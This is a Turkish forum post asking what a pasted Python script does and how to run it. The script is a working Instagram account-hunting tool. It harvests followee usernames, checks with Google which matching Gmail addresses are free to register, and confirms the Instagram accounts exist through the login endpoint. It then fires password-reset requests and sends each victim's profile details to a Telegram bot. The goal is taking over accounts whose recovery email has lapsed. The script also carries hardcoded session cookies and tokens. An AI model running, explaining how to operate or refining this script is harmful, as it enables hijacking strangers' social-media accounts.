- 25 Ara 2022
- 172
- 1
- 45
merhaba bir konuda yardım gerekiyor
acaba yukarıdaki kodlar ne işe yarıyor ve nasıl çalıştırırım? yardımcı olurmusunuz?
import requests
import json
import os
from uuid import uuid4
uid = uuid4()
uis = str(uuid4())
import instaloader
E = '\033[1;31m'
G = '\033[1;35m'
Z = '\033[1;31m' #احمر
X = '\033[1;33m' #اصفر
Z1 = '\033[2;31m' #احمر ثاني
F = '\033[2;32m' #اخضر
A = '\033[2;34m'#ازرق
C = '\033[2;35m' #وردي
B = '\033[2;36m'#سمائي
Y = '\033[1;34m' #ازرق فاتح
M = '\x1b[1;37m'#ابیض
S = '\033[1;33m'
U = '\x1b[1;37m'#ابیض
BRed = '\x1b[1;31m'
BGreen = '\x1b[1;32m'
BYellow = '\x1b[1;33m'
R = '\x1b[1;34m'
BPurple = '\x1b[1;35m'
BCyan = '\x1b[1;36m'
BWhite = '\x1b[1;37m'
v=0
b=0
n=0
m=0
q=0
w=0
e=0
r=0
a=0
z=0
t=0
ci=0
A=0
f=0
es = input(f' {F}({C}1{F}) {X} ادخــل الســيزون {F} '+Z)
print(X+' ╸╸╸╸╸╸╸╸╸╸╸╸╸╸ ')
token = input(f' {F}({C}2{F}) {X} ادخــل الـتـوكن{F} '+Z)
print(X+' ╸╸╸╸╸╸╸╸╸╸╸╸╸╸ ')
ID = input(f' {F}({C}3{F}) {X} ادخــل الايــدي{F} '+Z)
os.system('clear')
head = {
'accept': '*/*',
'accept-encoding': 'gzip, deflate, br',
'accept-language': 'ar,en-US;q=0.9,en;q=0.8',
'cookie': 'mid=YvvDrAALAAFLJor2N0MGQgLWW0UW; ig_did=A837F007-F7BC-4802-8EF0-A68D997C297D; ig_nrcb=1; datr=nGUPYz2GPkoNMu7UWgKcsp8x; csrftoken=ZUyjsgp9hIYl4CfqYu7ilo6ZEgv2gl2Z; ds_user_id=5376288835; shbid="14120\0545376288835\0541695151496:01f736544db5dcfedc306d753acc4c86d0c42f55fdf7c5941c9c39c6edf1a239cafb04a2"; shbts="1663615496\0545376288835\0541695151496:01f7487ad9bfa5a41605905bf69300e6d01dcca404a38a4f43c2b140c3c002789b13493e"; sessionid='+es+'; rur="NAO\0545376288835\0541695151518:01f70ce168631f1e97241f7871dda739a5cde84682f30c3436b4f2fbe18ad3eaf1c6dc9c"',
'origin': 'Instagram',
'referer': 'Instagram',
'sec-ch-ua': '"Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-site',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36',
'x-asbd-id': '198387',
'x-csrftoken': 'ZUyjsgp9hIYl4CfqYu7ilo6ZEgv2gl2Z',
'x-ig-app-id': '936619743392459',
'x-ig-www-claim': 'hmac.AR2M8P8_d7bvLTR7zVAphA15aAoyYXFGByqPC36ugQK8Wv2m',
'x-instagram-ajax': '1006224323',
}
def check(email):
global q,w,e,r
email = email
url = 'https://i.instagram.com/api/v1/accounts/login/'
headers = {
'Content-Length': '340',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Host': 'i.instagram.com',
'Connection': 'Keep-Alive',
'User-Agent': 'Instagram 6.12.1 Android (29/10; 480dpi; 1080x2137; HUAWEI/HONOR; JSN-L22; HWJSN-H; kirin710; ar_EG)',
'Cookie': 'mid=YxfCAQABAAG82m8NRgdsiWEYbhTq; csrftoken=8Ot6Srxbp23reyVuew7mytfMEGFoVrlC',
'Cookie2': '$Version=1',
'Accept-Language': 'en-EG, en-US',
'X-IG-Connection-Type': 'WIFI',
'X-IG-Capabilities': 'AQ==',
'Accept-Encoding': 'gzip',
}
data = {
"username":email,"password":"paswgwgshhddv","device_id":uis,
}
req= requests.post(url, headers=headers, data=data).text
if "The username you entered doesn't appear to belong to an account. Please check your username and try again." in req:
os.system('cls'if os.name=='net'else'clear')
e+=1
print(f'''
{X}® | @GG8MG
{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌
{B}⦅1{B}⦆ ⥊ {F}Good Insta : ⦃ {q} ⦄
{B}⦅2{B}⦆ ⥊ {Z}Bad Gmail : ⦃ {w} ⦄
{B}⦅3{B}⦆ ⥊ {X}Bad Insta : ⦃ {e} ⦄
{B}⦅4{B}⦆ ⥊ {U}Good Gmail : ⦃ {r} ⦄
{B}⦅5{B}⦆ ⥊ {F} Check : ⦃ {email} ⦄
{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌
© Yosuf Abd
''')
elif "The password you entered is incorrect. Please try again." in req:
os.system('cls'if os.name=='net'else'clear')
q+=1
print(f'''
{X}® | @GG8MG
{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌
{B}⦅1{B}⦆ ⥊ {F}Good Insta : ⦃ {q} ⦄
{B}⦅2{B}⦆ ⥊ {Z}Bad Gmail : ⦃ {w} ⦄
{B}⦅3{B}⦆ ⥊ {X}Bad Insta : ⦃ {e} ⦄
{B}⦅4{B}⦆ ⥊ {U}Good Gmail : ⦃ {r} ⦄
{B}⦅5{B}⦆ ⥊ {F} Check : ⦃ {email} ⦄
{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌
© Yosuf Abd
''')
user=email.split('@')[0]
re = requests.get(f'Instagram{user}/?__a=1&__d=dis', headers=head).json()
id = re['graphql']['user']['id']
nam = re['graphql']['user']['full_name']
user = re['graphql']['user']['username']
Follos = re['graphql']['user']['edge_followed_by']['count']
Follon = re['graphql']['user']['edge_follow']['count']
date = requests.get(f"https://o7aa.pythonanywhere.com/?id={id}").json()["date"]
bio = re['graphql']['user']['biography']
isp = re['graphql']['user']['is_private']
Post = re['graphql']['user']['edge_owner_to_timeline_media']['count']
try:
ur = 'https://i.instagram.com/api/v1/accounts/send_password_reset/'
hs = {
'Content-Length': '304',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Host': 'i.instagram.com',
'Connection': 'Keep-Alive',
'User-Agent': 'Instagram 6.12.1 Android (29/10; 480dpi; 1080x2137; HUAWEI/HONOR; JSN-L22; HWJSN-H; kirin710; ar_EG)',
'Cookie': 'mid=YxfCAQABAAG82m8NRgdsiWEYbhTq; csrftoken=8Ot6Srxbp23reyVuew7mytfMEGFoVrlC',
'Cookie2': '$Version=1',
'Accept-Language': 'ar-EG, en-US',
'X-IG-Connection-Type': 'WIFI',
'X-IG-Capabilities': 'AQ==',
'Accept-Encoding': 'gzip',
}
df = {
"user_id":id,"device_id":uis,
}
sr = requests.post(ur,headers=hs,data=df).json()
rest = sr["obfuscated_email"]
tlg = (f'''
ℍ𝕌ℕ𝕋𝕀ℕ𝔾 𝕀ℕ𝕊𝕋𝔸 𝆹𝅥𝅮
———————×———————
ℕ𝔸𝕄𝔼 » [{nam}]
𝕌𝕊𝔼ℝℕ𝔸𝕄𝔼 » [{user}]
𝔼𝕄𝔸𝕀𝕃 » [{email}]
𝕀𝔻 » [{id}]
𝔽𝕆𝕃𝕃𝕆𝕎𝔼ℝ » [{Follos}]
𝔽𝕆𝕃𝕃𝕆𝕎𝕀ℕ » [{Follon}]
𝔻𝔸𝕋𝔼 » [{date}]
ℙ𝕆𝕊𝕋 » [{Post}]
ℝ𝔼𝕊𝕋 » [{rest}]
ℙℝ𝕀𝕍𝔸𝕋𝔼 » [{isp}]
𝔹𝕀𝕆 » [{bio}]
𝕃𝕀ℕ𝕂 » Instagram{user}
———————×———————
☻𝐁𝐘 : 「 @GG8MG 」
———————×———————
''')
requests.get("https://api.telegram.org/bot"+str(token)+"/sendMessage?chat_id="+str(ID)+"&text="+str(tlg))
except KeyError:
print('')
def domn():
global q,w,e,r
fil = open('email.txt','r').read().splitlines()
for sa in fil:
email = sa
url = 'https://android.clients.google.com/setup/checkavail'
h = {
'Content-Length':'98',
'Content-Type':'text/plain; charset=UTF-8',
'Host':'android.clients.google.com',
'Connection':'Keep-Alive',
'user-agent':'GoogleLoginService/1.3(m0 JSS15J)',
}
d = json.dumps({
'username':email,
'version':'3',
'firstName':'AbaLahb',
'lastName':'AbuJahl'
})
res = requests.post(url,data=d,headers=h)
if res.json()['status'] == 'SUCCESS':
os.system('cls'if os.name=='net'else'clear')
r+=1
print(f'''
{X}® | @GG8MG
{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌
{B}⦅1{B}⦆ ⥊ {F}Good Insta : ⦃ {q} ⦄
{B}⦅2{B}⦆ ⥊ {Z}Bad Gmail : ⦃ {w} ⦄
{B}⦅3{B}⦆ ⥊ {X}Bad Insta : ⦃ {e} ⦄
{B}⦅4{B}⦆ ⥊ {U}Good Gmail : ⦃ {r} ⦄
{B}⦅5{B}⦆ ⥊ {F} Check : ⦃ {email} ⦄
{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌
© Yosuf Abd
''')
check(email)
elif res.json()['status'] == 'USERNAME_UNAVAILABLE':
os.system('cls'if os.name=='net'else'clear')
w+=1
print(f'''
{X}® | @GG8MG
{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌
{B}⦅1{B}⦆ ⥊ {F}Good Insta : ⦃ {q} ⦄
{B}⦅2{B}⦆ ⥊ {Z}Bad Gmail : ⦃ {w} ⦄
{B}⦅3{B}⦆ ⥊ {X}Bad Insta : ⦃ {e} ⦄
{B}⦅4{B}⦆ ⥊ {U}Good Gmail : ⦃ {r} ⦄
{B}⦅5{B}⦆ ⥊ {F} Check : ⦃ {email} ⦄
{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌{F}﹌{X}﹌
© Yosuf Abd
''')
def following():
L = instaloader.Instaloader()
print(f' {X}-{B}-{X}-{B}-{X}-{B}-{X}-{B}-{X}-{B}{X}-{B}-{X}-{B}-{X}-{B}-{X} ')
username=input(f' {F}• {B}ENTER username {F}• ')
print(f' {X}-{B}-{X}-{B}-{X}-{B}-{X}-{B}-{X}-{B}{X}-{B}-{X}-{B}-{X}-{B}-{X} ')
password=input(f' {F}• {B}ENTER pasword {F}• ')
print(f' {X}-{B}-{X}-{B}-{X}-{B}-{X}-{B}-{X}-{B}{X}-{B}-{X}-{B}-{X}-{B}-{X} ')
getuser=input(f' {Z}({B}1{Z}) {B} ادخـل يــوزر لــسحب مـنه لــستة{B} '+Z)
print(f' {X}-{B}-{X}-{B}-{X}-{B}-{X}-{B}-{X}-{B}{X}-{B}-{X}-{B}-{X}-{B}-{X} ')
os.system('rm -rf done.txt')
L.login(username,password)
profile = instaloader.Profile.from_username(L.context, getuser)
follow_list = []
count=0
ok=0
for followee in profile.get_followees():
name1=str(followee)
name2=name1.split('Profile ')[1]
name3=name2.split(' (')[0]
follow_list.append(name3)
file = open("email.txt","a")
file.write(follow_list[count])
file.write("\n")
file.close()
ok+=1
print(F+ "("+F+f" {ok} "+F+") "+str(name3))
count=count+1
home()
def home():
print(X+'-----------------------')
print(B+'سحب الستة من اليتابعهم |1| ')
print(B+'فحص الستة |2| ')
print(X+'-----------------------')
Tools = input(X+'اختار خيار ؟ '+B)
if Tools =='1':
following()
elif Tools =='2':
domn()
home()
acaba yukarıdaki kodlar ne işe yarıyor ve nasıl çalıştırırım? yardımcı olurmusunuz?